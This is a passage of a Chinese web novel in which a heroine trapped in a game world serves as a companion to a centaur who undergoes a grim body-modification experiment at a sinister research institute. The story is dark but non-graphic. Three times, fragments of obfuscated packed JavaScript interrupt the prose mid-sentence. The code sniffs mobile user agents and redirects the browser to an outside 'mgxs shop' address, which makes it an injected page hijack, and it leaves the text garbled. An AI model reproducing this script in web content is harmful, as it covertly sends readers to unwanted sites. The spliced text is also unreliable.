l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470951|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也愿意。 但在触及赛娜的眼神时,她犹豫了,她不能这么说,她有预感,赛娜听了之后会更难过。 她也不能简单的二选一,她能感到赛娜问出这个问题时的认真,敷衍选择是对赛娜的不尊重。 思索间,她看到了沈嘉钰,想起了穿越这回事。 如果她没有穿到平行世界,而是穿到了吃人的封建古代,她会怎么做?是好好生活,还是为了回现代无所不用其极,哪怕是做出极端选择。 这么一想,她就有答案了。 “这取决于我的忍受限度。”沈佳人盯着赛娜的眼睛,认真回答,“如果我能忍受无法实现心愿的生活,那么我会选择后者,反之,则会选择前者。” “哪怕付出生命。” “哪怕付出生命。” 赛娜和沈佳人的声音同时响起,两人对视的眼因这默契盈满笑意。 赛娜的马蹄哒哒哒欢快地敲击地面,一扫先前的沉闷,“谢谢你,露丝,我明白了。维多利亚会祝福你!” 沈佳人看着她金色的长发随着她踏地的动作一扬一扬的,像迎风展开、飒飒作响的旗帜,心情也跟着好起来。 但这种好心情在她进入咨询室后就消失不见,她终于知道了咨询的内容,也知道了赛娜要做的究竟是怎样的实验。 完美研究院是同心圆结构,咨询室设在外圆四层的一个房间,面积不大,但很开阔。 里面没有办公桌,取而代之的是放在房间一侧的原木矮桌,矮桌两侧是两张布艺单人沙发,看上去就知道坐着会很舒服。 除此之外,矮桌、窗边、房间的角落都摆放着或大或小、充满生机的绿植,墙上也挂着几幅干净好看的风景画。 多可身上依旧是初见时的白色短款无尘服,但在胸前口袋离放了几根带有卡通图案的笔。 她邀请沈佳人选一张沙发坐下,而后拿着纸板夹坐到她的对面。 在经过一番客套、温和的寒暄后,她们进入了主题。 “露丝小姐,还记得我曾说过,完美研究院致力于完成每位兽人的心愿吗?” 沈佳人点点头,她当然记得,如果不是这个宗旨,她可能早就过上远离副本任务的悠闲生活。 “你可能会觉得离谱,研究院而已,怎么可能能够实现每位兽人的心愿,毕竟艾尼斯帝国有那么多兽人,他们的心愿也不尽相同。” “但实际上,每位来到研究院的兽人,心愿都是相似的,那就是改善缺陷、变得完美。这就是研究院名称的由来。” “当然,露丝小姐,你的情况有些特殊,没有经过正规的征集渠道。” 沈佳人在心里默默吐槽道,那是,我是通过识时务者为俊杰通道进来的。 “而且你看上去十分完美,不需要经过任何改造。” 多可的这句话让沈佳人心头一跳,她明白了多可口中的完美是什么意思,是变得更像人。 她脑海中浮现出今早她与赛娜的对话,来到研究院的赛娜肯定也想变得像人,可她是半人半马,要怎么样才能变得更像人呢? 第一步肯定是去除掉不属于人的部分:她的马身…… 伴随这个恐怖猜想而来的是后悔与恐惧,她不该那样说,她给出了错误的答案。 8. 第 8 章 “而且你看上去十分完美,不需要经过任何改造。” “介于此,我想征求一下你的意见,要不要试试志愿者的另一个职责?” 此时,沈佳人已经没有耐心听多可继续说下去,她急切地打断她:“赛娜,赛娜的心愿也是变成人吗?” 她过于着急,以至于说错话了。 多可自始至终都没有说过,改善缺陷、变得完美的终极形态是人类。 对于沈佳人话语中的漏洞,多可毫不在意,她温柔地拒绝回答这个问题,“很抱歉,露丝小姐,这属于赛娜的隐私,我无法告知。如果你实在想知道,可以试试问问本人。” “如果没有其他问题的话,那我们继续?” 沈佳人没有因为多可的拒绝而感到不悦,相反,她烦躁的内心变得平静。 自初见起,她就发现多可拥有一种神奇的能力,你无法拒绝她,会不自觉地听从她,甚至想依赖她。 她突然想知道,是只有她有这样的感觉,还是所有人都是。 看沈佳人没有反对,多可便接着上一个话题聊起,志愿者的另一个职责。 在完美研究院,志愿者可以分为两类,一类是实验的志愿者,另一类是志愿者的志愿者。前者为了自身心愿或崇高的科学追求为实验奉献自身,后者则为前者服务。 因部分实验过于残酷,作为实验对象的前者有时候无法支撑下去,所以另一类志愿者应运而生,为进行实验的兽人提供包括但不限于对话、打气等情绪价值。 “露丝小姐,你愿意成为这类志愿者吗?” 沈佳人没有立刻回答,因为她大脑一时间没有转过来,完美研究院这么具有人文主义关怀吗?还为实验“小白鼠”提供专门服务人员。 见她良久没有回答,多可又适时提供了第三种方案,“如果露丝小姐不愿意的话,也可以拒绝。只是这样一来,研究院没有理由再为你们承担免费食宿,所以需要支付一定的费用。” “我不能直接离开吗?”聊到这个,沈佳人脑子转得飞快,毕竟这事关她的苟活大计。 “这个恐怕不行。”多可脸上又挂上熟悉的拒绝微笑,“因为您已经入住志愿者公寓,考虑到保密性,我们不能轻易让您离开。” “若是您坚决坚持离开,那需要先付清这几日的食宿费和医药费,并缴纳不菲的保密金,而后在保密协议上签字,签完字后再进行一场小小的催眠实验,才能让您离开。” 这下,多可连“你”都不说了,改用上“您”了。 而她说了那么一大段话,核心意思也就一个,这个志愿者,沈佳人是非当不可。 几乎没有任何悬念,沈佳人答应了,如多可所愿成为了为志愿者服务的志愿者,别称守愿员。 在沈佳人离开后,身在暗处的莱伦推开隐藏门走了进来。 原来这间咨询室内还藏有一个小空间,只是入口处做了隐藏,不仔细看根本发现不了。 见莱伦出来,多可立马从沙发上起身,恭敬地微微鞠躬,“教授。” 莱伦随意地摆了摆手,示意她坐下,而后坐到沈佳人刚刚坐过的位置,端起面前的骨瓷杯。 这是为沈佳人倒的茶,可她一口也没喝。 莱伦低头饮了一口里面早已凉透的蜜桃果茶,“看来白准备了,她不喜欢。我还以为她会更像拉克斯,没想到猜错了” “那她会更像维多利亚吗?”莱伦又低头啜了一口,而后似笑非笑地打量着多可,“如果真是这样,那可能需要你……再对她好一点。” 多可缓缓颔首,回了一声“好的,教授”。 ———— 成为守愿员的流程走得很快,上午答应,下午就入职,没有任何的岗前培训。 而沈佳人守护的第一个志愿者,是赛娜。 看着眼前的赛娜,她有些不敢认,可明明今天早上她们才刚说过话。 赛娜被泡在高约两米的柱形管里,身上插着颜色各异的管子,那些管子从柱形管的上方延伸出去,连接着好几台在不停闪烁的大型仪器。 而她不敢认是因为,柱形管里的赛娜只有半个身子,她的上半个人身。 在赛娜所在的柱形管旁边,有一个还要大的柱形管,但被黑布蒙了起来。 沈佳人不知道里面放了什么,直到实验员掀开一部分黑布往那个柱形管添加某种药物的时候,她才得以看见——那是赛娜的马身。 两个“赛娜”同时出现在她的眼前,那个恐怖的猜想成真了。 剧烈的恐惧如同飓风瞬间席卷全身,她想要尖叫、想要逃离这间实验室、想要找到一个明亮温暖的地方蹲下并紧紧抱住自己。 此时,无形的弹幕在半空中开始刷屏,清一色的美味、震撼级美味、最高端的食材只需要最原始的恐惧。 如果沈佳人能看见这些宛如美食评论般的弹幕,心中的惊惧可能会少很多。 然而,她看不见,她视线所及只有眼前的紧闭双目的赛娜。 幸好,赛娜现在处于昏迷状态,她看不见自己现在的样子,她不敢想象,如果赛娜醒着,心里该有多难过。 身穿白大褂的实验员添加完药物,来到沈佳人的面前,上下打量一番后,解开自己的口罩,“新来的守愿员?” 沈佳人木然地点了点头,视线依旧放在昏迷的赛娜身上,未曾移开。 “我是LA23305号实验室的主要实验员,你可以叫我雷得。”雷得双手插在两侧的口袋里,爽朗一笑,“现在加一下ID?” “你好,我叫露丝。” 沈佳人的视线从赛娜身上移开,转向雷德,红发似火,张扬热烈。 她报出自己的ID,雷得点头示意收到,而后低头在通讯器上点了几下,弄完后,她抬头看了看沈佳人过于平静的脸庞,评价了一句“你很不错”。 的确不错,尤其是没有大喊大叫,摧残她的耳膜。 “记得查看手环,相关的注意事项,我都发到手环上了。另外有什么事情,随时联系。”雷德指了指戴在沈佳人左手上的手环,那是完美研究院专用的通讯器,“现在我要去另一间实验室了,祝你好运,小露丝!” 说完,她歪了歪头,对沈佳人wink了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470952|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她转身离开前,沈佳人叫住了她,“赛娜,什么时候会醒?” “你说305?她身体状况不错,最快今天晚上就能苏醒,慢一点的话明天。”雷德边在手环上点点边回答,“但这个没有影响,你正常上下班就行。” 说完便头也不回的离开,像是被催得很急。 门被砰地关上,偌大的实验室现在只剩下沈佳人和昏迷的赛娜,以及滴滴滴响个不停的仪器。 她好像有些明白为什么需要守愿员存在了,太孤独了。 沈佳人返回到赛娜所在的柱形管前,盘腿坐下,她仰头看了一会赛娜,见她没有苏醒迹象,便低下头阅读雷德发给她的注意事项。 只是她看得并不专心,看一会儿,便要抬头观察一下赛娜的情况。 【新人怎么回事,她情绪为什么平复得这么快?我还没来得及细细品尝呢!】 【楼上是不是新来的,像我这种一直在直播间蹲守的,早就吃的心满意足,不知天地为何物了!】 【啊啊啊谁能想到呢,新人玩家也能产出顶级美味,只能说不愧是温斯严选!】 【说反了吧,越是新人玩家才越能产出顶级美味,毕竟没有经过副本的历练,总是能在意外的地方给你来上一桌子。】 【赞同,比如新人期的唐水。虽然唐神现在依旧能让我心潮澎湃、大吃特吃,但总感觉少了点什么。】 【前面的一定吃得很饱,不然想不明白,为什么会一直蹲守在直播间,像这种级别的副本,新人前期一般都很没有看头,基本露头就秒。】 【哈哈哈不是吃得饱,而是艾尼斯副本世界有点特殊,前有唐神后有曾圣,实在是想看看,能不能再出一个奇迹。】 【奇迹不知道,但好吃是真的,就是太短了。从现在开始祈祷,新人可以存活到情绪大爆发的那天。】 【存活概率还是很高的,莱伦老贼折磨玩家是有一手的,喜欢放长线。前两次要不是因为他……】 …… 时间就这样在阅读注意事项和观察赛娜情况间过去了,直到手环上发出消息提示,沈佳人才知道,已经到六点了,可以下班了。 发信人是沈嘉钰,问她想吃什么,要不要帮她带饭。 上午她咨询完后,越山和沈嘉钰也跟在她后面完成了咨询。他们和她一样成为了守愿员,只是分配的实验室不同。 三人一起去领了工作服和通讯手环,在越山检查完手环里未安装任何可疑程序后,三人当场互相加上了联系方式。 沈佳人点开消息回复框,犹豫良久,还是打下了一行字,“今晚不能回去,要加班。还有我不饿,你们自己吃吧。” 今晚,她打算留在实验室。 在空旷且没有什么人气儿的实验室待上一整晚,对沈佳人来说是一件很可怕的事情,尤其是在亲眼见到赛娜的样子后,她都能脑补出这里以前发生过多少可怖的事情。 这个决定不亚于在在鬼屋待上一晚,很挑战她的心理极限。 可,雷得说赛娜有可能今晚就会醒来。 赛娜,也会害怕。 9. 第 9 章 几乎是在她发送完消息的下一刻,又有消息被弹出来。 “你实验室编号多少?”发信人是越山。 他是要来找她吗? 沈佳人不愿意说,因为这是她个人的决定,没必要让他们过来。 可她还没将拒绝的消息发过去,越山的下一条消息就来了,“不说?我去问多可。” 无奈,沈佳人只好老老实实将实验室编码发了过去。 大约五分钟左右,LA23305实验室的紧闭的大门被敲响了。 出于对参与实验的志愿者的隐私保护,实验室的大门基本上处于关闭状态,可这样虽然保护了隐私,但对需要长时间呆在实验室的守愿员和志愿者来说,无疑是一种折磨,如同坐牢般的折磨。 所以即使她不想让沈嘉钰两人过来找她,但在听到沉闷的敲门声时,内心还是闪过一丝喜悦。 她跑过去开门,出人意料的是,门外只有越山一人。 见到她面上的疑惑和不易察觉的落寞,越山适时解释道,沈嘉钰去给她买饭了。解释完,还小声吐槽了一番,真不愧是姐姐的好弟弟,一副走狗做派。 沈佳人没接话,但越山却有很多想要问的话。 一踏入实验室,他就直奔赛娜所在的柱形管去,“这就是你加班的理由?因为赛娜?” “为什么?” “你难道打算一整晚都待在实验室,不回去吗?” “你为什么要为一个算不上相熟的兽人,做到这个地步?” 越山的问题一个接着一个,劈头盖脸地朝沈佳人砸过来,她根本来不及反应。 缀在这一连串问题后面的是一句意味不明的感慨,“你为什么要这么奇怪,姐,姐?” 你为什么不能和其余的人类一样呢?为什么要做出不符合他对人类认知的事情? 人类不该这样柔软,她们是强硬的,是不可违抗的,是不会为除人类以外的生物考虑的。她们生来就拥有一切,凌驾在类人之上。 这不是越山第一次叫她姐姐,之前为了伪装和阴阳沈嘉钰,他也曾怪声怪气地喊过几声,但现在,剥去种种,只有不解。 “因为……”沈佳人望了一眼还处于昏迷状态的赛娜,“赛娜变成这样,我也有一部分责任。” 是她“怂恿”了她,是她对她说,哪怕付出生命,也要达成所求。 越山漂亮精致的眉头皱起,那双好看的冰蓝眸子中疑惑更浓。 其实沈佳人知道,自己这样做会显得有点傻,客观来说,赛娜做出这样的决定与她的关系不大,即使没有她,赛娜也会接受实验,因为她来到完美研究院的目的就是如此。 所以,为了不让越山问太多,她赶忙转移话题,“你那边怎么样,有什么眉目了吗?关于实验。” 她着重在实验二字上加重了读音,越山一听便明白她要问什么,副本任务,莱伦的危险实验。 沈佳人不问不要紧,一问就让他想起了下午在实验室里不愉快的记忆。 完美研究院下设三个机构:综合管理室、药物研究中心和联合实验室。联合实验室又分为三部分:LA-改造部、LB-融合部、LC-繁衍部,各个部门下有多个方向,以01、02等数字代指。 比如沈佳人被分到的LA23305实验室,就是指研究体所属的实验室为改造部的305实验室,改造方向为性别、身体联合改造。 而越山被分配到了LC繁衍部,下属方向为02……育种……□□…… 在没有进到分管的实验室前,越山是紧张的,他根据副本任务和难度等级能推测到完美研究院内进行的实验大概率是血腥、残忍、挑战人类和类人极限、极其惨无人道。 可事实是,没有血腥、没有残忍,只有肮脏和恶心。 在看了一下午的配种后,越山有些明白,唐水为什么那么痛恨雄性兽人,因为他们根本不是拥有兽形的人,而是披着人皮的兽。 他看管的那个雄性兽人像是脑子有什么大病,一直在不停地咒骂,骂天骂地,什么都骂。原本,他觉得骂一下也没什么,毕竟被关久了,还被强迫做宛如畜生配种的事情,精神肯定不正常。 直到那个雄性兽人参与了实验,他看到了实验的全过程,看到了它癫狂的精神状态,看到了它对另一个实验品的伤害,看到了实验结束后,它一边贬低评价参与实验的另一方,一边脸上又呈现出回味的神态…… 越山本以为它极具反差的表现已经足够冲击他那颗机械做的心,然而最具冲击力的还在后面: 一直咒骂不停的它停止了咒骂,转而说起了人话,它问他,怎么样,看得爽不爽,问他对另一个参与实验者的评价,问他,它和他哪个更厉害。 说实话,那一刻,越山非常想杀了它。 沈佳人那番生命之谈在他脑海里回荡,会思考、有情感和自我意识的生命? 这样的畜生,算生命吗? 跟随杀意而来的是疑惑,这种实验的意义何在? 如果副本任务中提及的危险实验是这种实验,那阻不阻止都无所谓了。连这样毫无意义的实验都出现了,无论实验成功还是失败,艾尼斯帝国都离灭亡不远了。 沈佳人看着越山渐渐生出戾气的双眸,伸出手在他眼前晃了晃,“怎么了?” 怎么突然不说话了?是线索找得不顺吗? 她刚想安慰他,越山就开口说了一句莫名其妙的话,“不要去繁衍部当守愿员。” 沈佳人:??? 看来,应该是繁衍部守愿员的活儿太重了,让他没时间找线索,才这样生气。 越山说完那一句话,就没再出声,感到场子有些冷的沈佳人,拼命想可以聊的话题,在想到之前,沈嘉钰来了,她因此松了一口气。 她欢欢喜喜给沈嘉钰开门的样子,落在越山眼中,让他有点不爽,他没有忘记沈佳人看到只有他一人时脸上出现的落寞。 越山有些理解沈嘉钰的姐控属性了,如果他的姐姐也是这个样子,他也会和沈嘉钰一样,时时刻刻都要粘着她。 可,沈佳人不是他姐姐,他姐姐也不是沈佳人。 她厌恶他,甚至憎恨他,仅仅因为他不是人类。 实验室内禁止饮食,所以三人换着班去专门的休息室吃饭。之所以没有一起吃,是因为沈佳人担心赛娜在这期间会醒过来。 解决完晚饭问题后,三人齐聚在LA23395实验室。 因为实验室内的摄像头全天候都处于运行状态,所以三人在聊到副本任务时跟打哑谜似的。 沈佳人:“听雷得说,赛娜的改造实验难度很大,最起码需要两个正级实验员。” 沈嘉钰:“难度这么大,莱……院长会参与吗?” 沈佳人:“不会,雷得说,院长已经不做改造实验了。” 越山:“改造部所有的实验,他都不做吗?” 沈佳人点点头,“对,都不做。你们说院长这样的级别的人,会不会在繁衍部做实验呢?” 越山斩钉截铁道:“不会。” 随后很粗略地给沈佳人讲解了一下繁衍部的大体情况,因为沈嘉钰和越山分到了繁 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情绪、情感对他们而言,是可知但无法体验的存在,就像盲人知道颜色却无法看见,聋哑人知道声音却无法听到、无法说出。 为了弥补这种缺失,他们将情绪、情感转变成自己可认知的东西,来消除自身的机械感。 位于脑部的芯片会将场景与存储在内的信息对应,当场景符合相关情绪定义时,它就会指挥各部位模拟出人类在羡慕时所出现的生理、甚至心理反应。 比如羡慕,当看到别的类人拥有自己无法得到的东西,场景与定义匹配成功,类人的心脏就会微微发紧,脑部芯片也会模拟一些心理独白,类似如果她靠在我身上就好了,如果她是我姐姐就好了,如果我和沈嘉钰一样听话,她会不会同我更亲近一点…… 越山长时间的愣神与注视,自然引起了沈嘉钰的注意。 他朝他勾起唇角,无声地做口型:我赢了,你以后不许和我姐姐唱反调。 在来LA23305实验室前他们打了赌,赌约内容是沈佳人加班的原因,输了的人要答应赢的人一个条件。 越山猜测是上级要求;而沈嘉钰则说,沈佳人是自愿的,因为姐姐下午的时候在三人群里说过,她见到了赛娜,她肯定是因为赛娜才选择加班的。 显而易见,沈嘉钰赢了,而他是彻彻底底的输家。 沈嘉钰不是类人的叛徒,也不是人类的走狗,他是他的羡慕对象…… 沈嘉钰还在那里做口型,说什么我姐姐就是很好之类的话。 越山别过头,不想再看。 三人在实验室呆了整整一夜,赛娜没有苏醒,依旧处于昏迷状态。 早上的换班流程和昨天下午一样,沈嘉钰去买饭,先吃完,而后换他们俩。 吃完饭后,越山和沈嘉钰没有再停留,而是回了各自所属的实验室。 沈佳人打着哈欠送别了他俩,继续留在实验室。 现在是早上七点,守愿员和实验员的上班时间是八点,也就是说雷得八点以后才能到实验室。 现在,偌大的实验室又只剩下她和昏迷的赛娜。 在连续打了好几个哈欠后,溢出的生理性泪水糊满了她的眼睛,朦朦胧胧间,她看见赛娜的胳膊动了动。 沈佳人还没来得及揉眼细看,一个含糊不清的声音便在耳边响起:“露丝。” “露丝,你怎么在这儿?” 赛娜,醒了。 她终于醒了。 10. 第 10 章 在意识到赛娜醒了之后,沈佳人也顾不上现在还不到上班时间,立马给雷得打去了连环call。 由于太过兴奋,她都忽略了手环那头雷得十分暴躁的语气。 “露丝!你最好是有天大的……” 事情二字还没说出口,就被沈佳人打断。 “赛娜!赛娜她醒了!” “雷得!雷得!赛娜醒了!你快来!快来实验室!” 雷得:…… 她想揍她! 要知道她一直以来都是踩点上班,而现在才七点多,七点多! 可是听着那头兴奋欢快的语气,她到底还是没有骂她,只是平淡的回了一句,“知道了,我这就去。” 得到雷得的回应后,沈佳人挂掉了电话,与泡在柱形管中赛娜对视,“赛娜你醒了,真是太好了。我……” “我……对不起,赛娜。”沈佳人眼睫下垂,不敢看她,“我不知道你要实现的心愿是这个,我不该那样说。” “其实有时候比起所谓的心愿,活着会更加不错,能遇见有意思的人,看见有意思的事情,会拥有很多细碎微小的幸福。蓝蓝的天空、绿绿的树叶、金灿灿的阳光,总之这世上有很多很多美好的事情,在等着我们去看、去体验。” “不过,你一定会完成你的心愿!因为维多利亚会保佑你!” “我……”沈佳人还想再说些什么,但她望着只剩半个身子的赛娜,感觉自己失言了,虽然最后她有找补,但她不该说前面那些话,那些应该要在赛娜接受实验之前说。 她现在之所以说这些,只是为了弥补愧疚,让自己心里好受,全然没有站在赛娜的立场。 意识到这一点的沈佳人,嘴唇张张合合,再次对赛娜道了歉,“对不起,赛娜。我又在说些没用的话了。” 泡在营养液里的赛娜发出咕噜咕噜的水声,那是她在笑。 在签下改造实验同意书的那一刻,赛娜就做好了永远不会再睁开眼的准备,可她醒过来了,还在实验室里见到了露丝。 早在正式实验之前,她就在多可的建议下来过这间实验室。 多可告诉她,她要做的改造实验历时很长,从切除到移植完成的全过程,她都需要“站”在狭小的柱形管里,几乎不能活动半分。除此之外,更重要的是,她要独自熬过大部分的艰难时光。 虽然实验室会为她配备一名守愿员,但守愿员有固定的上下班时间,不会全天时全天候待在实验室。 这意味着她,不仅要忍受身体上的痛苦,还要承受精神上的孤寂。 她让她再三考虑,所以她在实验室里独自住了一晚。 如同多可说的那样,夜晚的实验室很空很大也很静,即使是她庞大的马身,也无法让实验室显得拥挤,心与身都被关在了无形的牢狱中,很孤独,很难熬。 所以她有些犹豫,才会问露丝那样的问题。 可她没有想到露丝会成为自己的守愿员,也没有想到她一睁开眼就会看到她。 原本她想问她,昨晚是不是一直在实验室。虽然她处在昏迷状态,但也不是对外界一无所知,她的耳边模糊的说话声,只是听不清。 但看到她接连不断的哈欠,看到她打电话时的兴奋,听到她诚意十足的道歉和前言不搭后语的劝慰。 她想,她不用多此一问了。 柱形管里的咕噜咕噜声渐弱,赛娜轻轻敲了一下柱形管壁,示意沈佳人抬头看她,“露丝,你不必对我感到抱歉,这是我自己的决定。” 因为赛娜整个人都泡在营养液中,说话并不方便,所以她说得很慢很慢,“还有,露丝,是我对不起你。” 是她一直以来带着狭隘的偏见审视露丝,单方面认为像她这种拥有近乎神明外形的兽人是会看不起她与穆德这种兽化特征明显的兽人。 她以为她会因为穆德的失控而恶意报复、追究,可她却要求秉持公理,让穆德免于被赶走。 她去寻求她的意见,不过是没有相熟的兽人,可她却认真回答了她的问题,并因此而感到抱歉。 应该感到抱歉的,是她,而非露丝。 所以,她不会问她,为什么能遇见的是有意思的人,而非兽人;为什么她的家乡流传的关于维多利亚的传说和整个艾尼斯帝国相悖;为什么她拥有着近乎神明的外形还会来到这里成为一名普通的守愿员…… 沈佳人被赛娜的道歉弄懵了,她没有第一时间问原因,而是出于在原世界的礼貌惯性,立马道:“不对不对,是我的错,是我对不起你。” 赛娜:咕噜咕噜,是我对不起你,才对。 沈佳人:是我是我,是我对不起。 赛娜:再次咕噜咕噜,不关你的事,是我对不起。 雷得一进到实验室,看到的就是两个脑子坏掉的兽人在互相鞠躬、拉扯道歉,其中一个的头还磕在了营养柱上。 呵,呵,什么事情也没有,305号实验体也在活蹦乱跳,所以露丝给她打电话,只是单纯因为305号醒了,呵…… 雷得一个箭步来到露丝身边,对着她的头上去就是一个暴栗,“你有没有认真看我发你的注意事项,3……她刚醒需要静养,不能有太大的动作!” “还有你!”雷得用手指隔着玻璃壁敲了敲,“切除实验前,我有没有告诉过你,苏醒后不要说太多话,以免创口裂开!” 沈佳人和赛娜一时间噤若寒蝉,道歉推拉,到此为止。 雷得详细检查了赛娜创口位置的情况以及各项生理指标,“情况还不错,再观察个三天,如果没有特殊情况,可以预约下一步实验。” 听到她这么说,沈佳人和赛娜都放下心来。 “只是……”雷得话锋一转,“你确定要做□□移植,而非机械移植吗?” “赛娜,我希望在预约之前,你能好好考虑一下这个问题。” 听到雷得没有再叫她305号,而是喊了她的名字,赛娜嘴角扬起一个很小的弧度,这次她遵受雷得的指示,没有再发声说话,而是通过口型告诉她,她会认真考虑她的意见。 “这两者有什么区别吗?”一无所知的沈佳人问道,顿了一会,她又补充道,“这个注意事项里没有说。” 注意事项里当然没有说,这些都是属于实验详情,守愿员不需要知道。 但…… 雷得盯着沈佳人看了一会儿,又看了看赛娜,最终开口道:“我会把相关资料发你,有什么不懂的可以随……在上班时间随时问我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470954|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 雷得不想再经历一次今天的事情,所以特意强调了上班时间四个字。 希望露丝能改变一下赛娜的想法,也希望她能多学点东西,一些经验丰富、有资历的守愿员在实验室专属负责人的推荐下是有可能转职成为实验员的。 虽然还需要经过投票,但以她的影响力,没有兽人会否决她推荐的守愿员。 雷得说完后就离开了,沈佳人点开雷得发给的她的资料,仔细翻阅。 雷得说是把相关资料发给她,实际上是把有关改造实验的所有信息都发给了她,涵盖内容包括但不限于改造部的建成历史、组织架构,各个研究方向实验的介绍、操作要点、愈后与恢复等等。 翻阅过程中,沈佳人还发现了雷得的文字标注,记录了她的理解与易错点。 这时,她才发现这不仅仅是相关资料那么简单,这些更像是雷得的学习笔记,是十分私人且珍贵的东西。 她按下内心的惊讶,翻找出□□移植和机械移植的内容。 二者的定义与内涵均都又臭又长,对于医学基础知识薄弱且非科班专业的沈佳人来说,读起来有些吃力,好在还有雷得的注解能帮助她理解一二。 简单来说,□□移植和机械移植最大的区别就是免疫排异反应的高低,由于完美研究院在机械义体领域发展比较成熟,所以机械移植免疫排异反应相对□□移植更小,成功率更高。 而□□移植根据移植部位可以分为眼部移植、四肢移植、躯干移植、皮肤移植,因皮肤移植大多取自本体,故排异反应较弱,和机械移植程度差不多,而剩下三种移植排异反应剧烈,且程度与移植部位体积大小呈正相关。 而赛娜腰部以下位置都需要做移植,所以属于躯干移植,这种移植排异反应最大,操作难度最高,相应的,成功率最低,实验失败风险最高…… 而雷得写在躯干移植旁的标注只有短短五个字,“仅一例成功。” 读到这里,沈佳人心下一紧,她不由得抬头望向赛娜,问出她最想知道的问题,“赛娜,你是因为维多利亚才想做□□移植的吗?为了更接近她的样子。” 赛娜点点头,而后又摇摇头,泡在营养液里的她嘴唇嗫嚅,冒出几个泡泡。 她想要说话,但又顾忌雷得的叮嘱,不敢说。 见状,沈佳人双手一拍,高喊让赛娜等等,她有办法让她不用张口就能“说话”。 她掏出手环,联系雷得,询问她是否能给赛娜接入脑机。 在得知她的意图仅是想与赛娜沟通后,雷得表示不用那么复杂,LA23305实验室里有脑电波转换显示器,把它带在赛娜头上即可。 沈佳人按照雷得的消息,找出转换显示器。这个仪器有两部分,一部分长得像头戴式耳机,需要戴到转换者的头上,另一部分是长约30厘米的显示屏,用以显示转换者想说的话,两个部分用一条数据线连接。 而后,她给赛娜戴上转换器,开启了设备。 戴上转换器的赛娜,“说”出的第一句话是:“你好,露丝!” 紧接着是第二句:“我是赛娜!” 然后是第三句:“想做□□移植的原因有很多,但最根本的是——我想成为雄性。” 11. 第 11 章 “我想成为雄性。” 看着显示器显示的文字,沈佳人陷入一阵恍惚,赛娜是患有性别认知障碍吗? “是不是觉得我有些……不正常?” 这句话在显示器上显示的速度没有前几句那么快,尤其是最后三个字,文本光标一直在省略号后面闪啊闪,很久才完整的显示出来。 管壁后的赛娜一直在看她,她的眼神里充满小心翼翼的试探。 沈佳人的心被刺了一下,她想到了自己,自己曾经用相似的眼神去看妈妈,她想告诉妈妈,她不想再住在姑姑家,告诉妈妈,她受的委屈和欺负。 她想把一切都告诉妈妈,想让妈妈为她做主,可她不敢说,只能小心翼翼的试探。 为什么不敢说呢?因为说了,就不是听话的乖孩子,会被骂、甚至会被打,会被家里所有人讨厌,因为她的多嘴破坏了和谐的家,就像她童年的玩伴崔莹。 所以在正式袒露之前,要小心翼翼的试探,观察对方的态度、可能的反应,以此来决定要不要说出接下来的话。 沈佳人接收到了赛娜的信号,她坚定地摇了摇头,一字一句道:“不一样,不代表不正常。这只说明你比其他人更了解自己,更清楚自己想做什么。” 赛娜笑了,显示器上也出现了一个笑脸符号,只是赛娜有些头疼,她又在说“人”而非“兽人”了……她不知道该拿她怎么办才好。 “如果你不介意的话,能告诉我想要成为雄性的原因吗?”沈佳人想知道赛娜的想法,以便更好劝说她,但如果赛娜不愿说,她也不想勉强。 “不告诉也没关系”只说了三个字,就被显示器上的文字打断了,“可以。” “但说起来有点长,你想听吗?” 沈佳人疯狂点头,她当然想听,只有听了才能找到突破点,让赛娜接受机械移植而非□□移植。 诚如赛娜所言,这是一个很长的故事,长到要从半马族的历史说起。 半马一族长久以来居住在艾尼斯帝国的北方森林,虽然北方森林植被茂密、山势险峻,有着天然的防护屏障,但这不能阻止偷猎者对半马族的猎杀。 因为半马族特殊的身体构造,上身是完美的人身,下身则是完全的马身,集美丽与丑陋于一体,颇受某些癖好奇特的贵族兽人喜爱。 那些贵族兽人会出高价悬赏半马族,把他们圈养起来用以竞赛和观赏。 天然的屏障防护抵挡不住兽人的贪欲,当时半马族一族几近灭绝。在这危急时刻,是维多利亚拯救了他们。 维多利亚不仅救他们于水火,还在推翻王庭统治的战争中与他们结盟,使半马族得以占据议会的一席,自此让半马族受到法律保护,拥有固定的领地。 这原本是好事一件,但随着半马族与外界的联络渐深,有些东西慢慢就变了。 以前的半马族自由自在、随性而为,但后来的半马族群内以战力定高低、定秩序。 高战力的半马族人有更高的社会地位、社会财富,同时也肩负着更多保卫族群的职责。 低战力半马族人虽然有的东西没有他们多,但也没有遭受压迫,自足自乐,称得上安居乐业。 听到这儿的沈佳人没有发现哪里不对,她问道:“因为雄性半马人战力更高,所以你才想成为雄性?” 也不对,赛娜不是选择成为雄性半马人,而是想成为有两条腿的雄性兽人。 赛娜摇摇头,显示器上显示出一个苦笑表情,“不是雄性半马人战力更高,而是雌性半马人不被允许进入战力排行。” 沈佳人宛如被当头棒喝,她仔细回忆赛娜的讲述细节,赛娜一直在说半马族人,直到她提出雄性半马人,她的讲述里才有了性别。 